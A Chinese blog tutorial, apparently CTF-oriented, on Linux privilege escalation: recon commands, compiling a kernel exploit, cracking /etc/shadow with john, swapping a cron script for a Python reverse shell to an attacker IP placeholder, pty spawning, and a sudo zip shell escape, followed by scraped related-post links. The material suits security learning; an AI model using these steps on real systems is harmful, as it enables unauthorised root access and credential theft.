在我们拿下服务器web服务往往只是低权限用户,对于内网渗透,我们往往需要root权限,Linux系统提权包括使用溢出漏洞已及利用系统配置文件。

提权前提:

  1.拿到低权限shell

  2.被入侵机器上有nc,python,perl等常见linux下的工具

  3.有权上传下载文件

1. 利用内核漏洞
通杀内核漏洞十分少见,因此我们先应对系统相关进行信息收集。

利用searchsplot

查看发行版本:

cat /etc/issue

cat /etc/*-release

lsb_realse -a

查看内核版本:

uname -a

如果具有内核溢出漏洞我们就上传溢出代码,编译执行

gcc  xxx.c  -o  exploit

chmod +x exploit

./exploit

2. 利用明文root密码提权

Linux密码大多都和/etc/passwd 和 /etc/shadow 这两个配置文件有关。Passwd里储存了用户,shadow里密码的hash。出于安全考虑passwd是全用户可读,root可写,shadow是仅root可读写。

例如 破解linux用户名和对应密码

/etc/passwd /etc/shadow

unshadow passwd shadow >cracked

john cracked

3. 利用定时计划任务

通过查看 /etc/crontab 文件,查看其他用户是否有设定的系统定时任务,并查看对应对应任务内容,执行的任务肯定时对靶场机器的某个文件。

etc/crontab 文件是用来设定系统定期执行任务,需要root权限,不同用户都可以有不同定时任务,如果在 /etc/crontab 下有某个用户执行的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell ,用创建的脚本替换原来的py脚本,netcat执行监听获得对应用户的权限

如果有定时执行任务的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限

import os,subprocess,socket

s=socket.socket()
s.connect(("攻击机ip地址","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess(["/bin/sh","-i "])

启动监听: nc -nlvp port

4. 密码复用

管理员可能会设置重复使用的密码,因此可能数据库或者web后台的密码就是root密码

拥有疑似root的秘密可以尝试ssh登录,若禁止root登录或被防火墙挡住,我们就想办法在低权限上输入密码,当然一般情况下linux会要求用户必须从终端设备(tty)中输入密码,禁止标准输入,sudo常常不能使用

因此我们可以用python模拟一个终端  python -c "import pty;pty.spawn('/bin/bash')"

5. 利用zip提权

使用sudo -l 查看当前用户可以使用的root提权命令信息,发现可以执行tar和zip相关命令。

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

CTF中对web服务器各种提权姿势的更多相关文章

  1. Eclipse 控制台视图和服务器视图中停止Web服务器的差别

    Eclipse 控制台视图和服务器视图中停止Web服务器的差别 (1)console视图里面, "红色方形图标" 是terminate, 也会关闭web服务器!!!!!!!!这个, ...

  2. CTF中常见Web源码泄露总结

    目录00x1 .ng源码泄露 00x2  git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露  ...

  3. 在Win7系统中搭建Web服务器

    局 域网Web服务器的主要功能是实现资源共享,同时借助于局域网服务器访问页面可有效的实现信息的同步.利用Web服务器,我们随时随地都可以将自己的信息 上传到服务器端,让其它关注你的用户能在第一时间内了 ...

  4. 怎样在Win7系统中搭建Web服务器

    一.搭建web服务 1.打开控制面板,选择并进入“程序”,双击“打开或关闭Windows服务”,在弹出的窗口中选择“Internet信息服务”下面所有的选项,点击确定后,开始更新服务. 2.更新完成后 ...

  5. MySQL的system命令在渗透测试中的使用以及UDF提权

    声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错 ...

  6. 如何在Eclipse中创建Web服务器

    使用Eclipse开发Web项目时,需要先配置Web服务器,如果已经配置好Web服务器,就不需要再重新配置了.也就是说,本节的内容不是开发每个项目时,都必须经过的步骤.创建Web服务器的具体步骤如下: ...

  7. php中搭建Web服务器和服务器配置

    1.搭建Web服务器     1.1目录结构 1.2访问服务器 访问规则:http://服务器ip地址/php页面 比如: http://localhost/demo.php http://127.0 ...

  8. 工作中发现Web服务器的磁盘满后故障分析

    遇到的问题:   今天收到报警,某台线上的服务器的磁盘已满,但是登上去使用du -sh /log/* 检查, 发现文件的大小远远小于磁盘的空间,此时不知道该如何解决! 解决的方法:   其实,如果只是 ...

  9. centos 中 增强web服务器安全

    一.修改ssh连接的默认端口: 1.1 用root 连接进入系统: 1.2 修改ssh的配置文件 #vi /etc/ssh/sshd_config 在13行找到#Port 22 (默认端口22) 1. ...

随机推荐

  1. HTML table 边框双线变单线

    table{border-collapse:collapse;border-spacing:0;border-left:1px solid #888;border-top:1px solid #888 ...

  2. sqlite3-python

    官网资料 https://sqlite.org/lang_createtable.html 操作参考: https://www.runoob.com/sqlite/sqlite-insert.html ...

  3. 字符串匹配问题x

    qwq这个是栈的w   不是树w   qwq我承认我发题很杂啦   字符串匹配问题x [问题描述]        字符串中只含有括号 (),[],<>,{},判断输入的字符串中括号是否匹配 ...

  4. python 显示!到~的字符

    count = ): != : print(chr(i),end=" ") else: print(chr(i)) count += 输出 ! " # $ % & ...

  5. js中的时间显示

    var approveTime; approveTime=new Date(da[i].approveTime).toLocaleDateString(); 结果是 xxxx年xx月xx日

  6. JavaWeb_(SSH)三大框架整合struts+hibernate+spring_Demo

    三大框架整合 一.SSH导包 二.书写Spring 三.书写Struts 四.整合Spring与Struts 五.书写(与整合)Hibernate.引入c3p0连接池并使用hibernate模板 六. ...

  7. 19.顺时针打印矩阵 Java

    题目描述 输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字,例如,如果输入如下4 X 4矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 则依次打印出数 ...

  8. Docker+Rancher构建部署流水线

    工作多年,在项目部署方面, 1:以前用ftp或者rz上传更新的,每次更新算上打包.目录切换.更新遗漏.备份.出错还原.启动等工作都得搞上一来小时甚至更长,要是多两台服务器那心都凉了: 2:后来有用sv ...

  9. 使用Git上传文件至Github

    记录一下怎么把文件上传到Github,因为之前都存在本地,没上传过Github,自己以后看起来也有个记忆.因为我自己已经安装好Git和注册好Github账号了,设置好了SSH key.这部分不懂的,就 ...

  10. Unity通过世界坐标系转换到界面坐标位置

    public static Vector2 WorldToCanvasPoint(Canvas canvas, Vector3 worldPos) { Vector2 pos; RectTransfo ...